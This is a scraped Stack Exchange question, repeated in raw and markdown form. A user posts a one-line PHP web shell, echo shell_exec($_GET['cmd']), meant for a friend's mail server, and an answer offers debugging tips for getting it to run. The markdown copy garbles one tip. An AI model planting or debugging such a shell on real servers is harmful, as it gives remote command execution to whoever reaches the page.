<p>Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:</p>

<ul>
<li><code>&lt;?php</code> should be present at the start of any PHP script.</li>
<li>If a PHP error occurs, you might not see it without <a href="http://php.net/manual/en/function.error-reporting.php" rel="nofollow noreferrer">error reporting</a> enabled.</li>
<li>If the actual shell command fails or outputs warnings, you won't see it with <code>shell_exec</code> unless you add the stderr to stdout redirection <code>2&gt;&amp;</code> to the command, or use <a href="http://php.net/manual/en/function.exec.php" rel="nofollow noreferrer"><code>exec</code></a>.</li>
</ul>

CC BY-SA 3.0
2017-08-20T11:50:59.780Z
2017-08-20T11:50:59.780Z
LEI
<p>I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.</p>

<p>This is the script I wrote:</p>

<pre><code>echo shell_exec($_GET['cmd']);
</code></pre>

CC BY-SA 3.0
2017-08-20T11:33:33.860Z
What is not running? What is the problem you're facing? Please provide more details. And how is this related to DevOps?
Hussain Mansoor
CC BY-SA 3.0
2017-08-20T12:10:03.297Z
This question doesn't seem to be about [DevOps](https://en.wikipedia.org/wiki/DevOps) and isn't on-topic here. Debugging questions may be on-topic at [Stack Overflow](https://stackoverflow.com/) *if you can include the relevant error message*.
Aurora0001
<shell-script><php>
Shell Scripting
Jaipravin AKA Christopher
# Shell Scripting

(Asked by: username_0 on 2017-08-20)

I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.
This is the script I wrote:
echo shell_exec($_GET['cmd']);

**Tags:** shell-script, php

> **Comments:**
> **username_1**: What is not running? What is the problem you're facing? Please provide more details. And how is this related to DevOps?  
> **username_2**: This question doesn't seem to be about [DevOps](https://en.wikipedia.org/wiki/DevOps) and isn't on-topic here. Debugging questions may be on-topic at [Stack Overflow](https://stackoverflow.com/) *if you can include the relevant error message*.  

---

## 1 answers

### Answer by username_3 on 2017-08-20. Score: 2

Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:

* `php</code should be present at the start of any PHP script.`
* If a PHP error occurs, you might not see it without [error reporting](http://php.net/manual/en/function.error-reporting.php) enabled.
* If the actual shell command fails or outputs warnings, you won't see it with `shell_exec` unless you add the stderr to stdout redirection `2>&` to the command, or use [`exec`](http://php.net/manual/en/function.exec.php).


---

